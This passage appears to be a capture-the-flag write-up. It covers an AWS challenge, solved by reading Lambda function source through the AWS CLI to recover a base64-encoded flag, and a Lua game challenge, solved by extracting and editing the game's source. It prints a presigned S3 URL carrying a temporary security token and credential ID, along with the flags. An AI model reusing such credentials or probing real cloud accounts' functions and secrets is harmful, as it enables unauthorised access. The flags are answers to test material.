"Location": "https://awslambda-eu-cent-1-tasks.s3.eu-central-1.amazonaws.com/snapshots/743296330440/lambda-confirm-secret-7170c6e6-2458-4c26-ab03-e66b8fce0d13?versionId=soyBu3Egz3QRUS0WAeGl0LPT1T7ezKD8&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEKX%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDGV1LWNlbnRyYWwtMSJGMEQCICS347V9%2BXEAa5pz%2BdoBPR5%2FTYdQa2IEiGrhZCu%2ByI3iAiB8FH%2BMGJpuEBfIXwjiXRY6UmpV2zUeDXDF2462eOprGSq7BQheEAMaDDY4MDY4NjU1OTQzNCIMKMLZq2uWj8bt5j25KpgF6AAx3b4wb5um00V1%2BnINkWdA4B1qXZR%2FIsY0OxOVkWvlg2j2Ku%2Fc1OXkle7oVpjjU0HTKW%2FnVlmmZGzfFUzkpjpgKE01MEjLja2NWIklJYIJ5idrKLkiJOxgBlEMhLGbM%2BRRrJeudiBolQFe4u4VBsOAUAjKkJ%2Bgw5PB4R2MqDW1DPASh1R1QwZt1dWNwr34TMInKaDAurcjTZ6AWEvDPl8DtGVzYUn26OagxilfdrUGzjHJitgkG7GrZwRNm8xmIoqSu6IQ4zZest683adyeK1L2AC3%2FTtfAtqb9AyaG41nv8XwKKt%2FUD1ii1WpF5WuXjQ%2FiiztF8TeAXKCr7oa3QXZuE8bMNooqziJvVmyytx8AJgKEmO8iiTJJq%2BFGnMW3jiVrzc95bUxURzvfoO1RZjQIdu0ShmwkIMer844qh%2BxTM%2F0CH2KdgzgO5xxlAkZ9YjZ8jvGJ2Txxqb093F%2FrvtfJxwz9uYfTNCFsoEMqTRtyHUhFwSf1XJp%2BuWOH9%2FhhXDH64JH%2F%2FLhzvk%2FMDObT1GNZDghC007mFVJwUmAk0vvb8h7FMQJzf8OwJTm34T0sygKYmFavLRKWq8LaD9orpjGiVam8PLrr9ahjK0FyOnyCMb6I4A3WcR1CZZ7Vn%2BYUnUu8ov4EVLdgRJq%2FPPg7E6GGN6OhaeQVUAGTBUKFMl%2B6m0W6EfTeDytdFgy%2FoJwCf2utdY9KlWbNarZQcUZPyFFZqMWkHgCWkllQZ8%2BZMtxCb2Rv0aqqtgXNd0i%2FAZBOgYLtf4iEmOhYKisjAMuG6WuNdO0XeYnkyk%2FLGJCjnTNQKQPNHpMCpN66gSmoucWVLo2e%2BFDCjBjVc5rFdbj4cOvCimA1cYyTTKZM1369v%2FxTCv1vUF3JjDso6egBjqyAY744zxDPwiwtsU2loSo85nMH7CSwY%2FcUa4%2BqFhjJhzvnGmpVU4mk%2BdYxD2bpHCm%2FvxAx%2FJVQYobEnvIFTCxOk1FaTSxsMCY0JJeJ9aF5Nalrl%2FRqG%2FMLwmtj1GIY5I%2FbFlEqYrpfnya%2FgYqS%2FJwqYlpOYB0mnfVv%2BAMpiglVKor40gKrf2GBxOo2Yx0%2F5pMyDRDt6NcB3pd8w860dLyVjr5pKsY6IAhnNixbrddshAO02w%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20230309T132522Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAZ47AUUDFASSBGY5K%2F20230309%2Feu-central-1%2Fs3%2Faws4_request&X-Amz-Signature=a3e2b642c710d932e8d1cc6bbd595e52ae8b62cd1f86ee7704d239591cbf71f0"
}
}
We can get the source code from the s3 bucket, but it's not very useful. Also in theory we should be able to execute the Lambda function given the policy, but we can't. Next step is to read the description very carefully:
lambda function that checks the current secret value. Both, the lambda code and the secret are protected against editing by lambda-aws-config-confirm-state-of-lambda and lambda-aws-config-confirm-state-of-secrets
Those are lambda functions as well, by reading the source code of lambda-aws-config-confirm-state-of-secrets we get the flag:
# aws lambda get-function --region eu-central-1 --function-name lambda-aws-config-confirm-state-of-secrets --profile mfa
def correct_secret():
secret_name = "flag1"
region_name = "eu-central-1"
session = boto3.session.Session()
client = session.client(
service_name='secretsmanager',
region_name=region_name
)
response = client.put_secret_value(
SecretId=secret_name,
SecretString=base64.b64decode('RU5Pe04wX0VkMXRfU3QxbGxfVnVsbn0='))
Flag
ENO{N0_Ed1t_St1ll_Vuln}
LovR
Description
LovR is a fun game to play. Reach a certain level to see the hidden way.
ATTENTION: This Challenge does not use our flag format.
1/100 attempts
We're given a simple candy crush like game, when cheating through the levels, we notice that at level 10, something in the seemingly random screen changes.
When we research a bit more about this game engine, we can figure out its written in lua, after running binwalk -e
we even get the source code. When we remove the lines that draw the random dots
, rerun it with lovec.exe
we get the flag.
Flag
FL4G_TW33N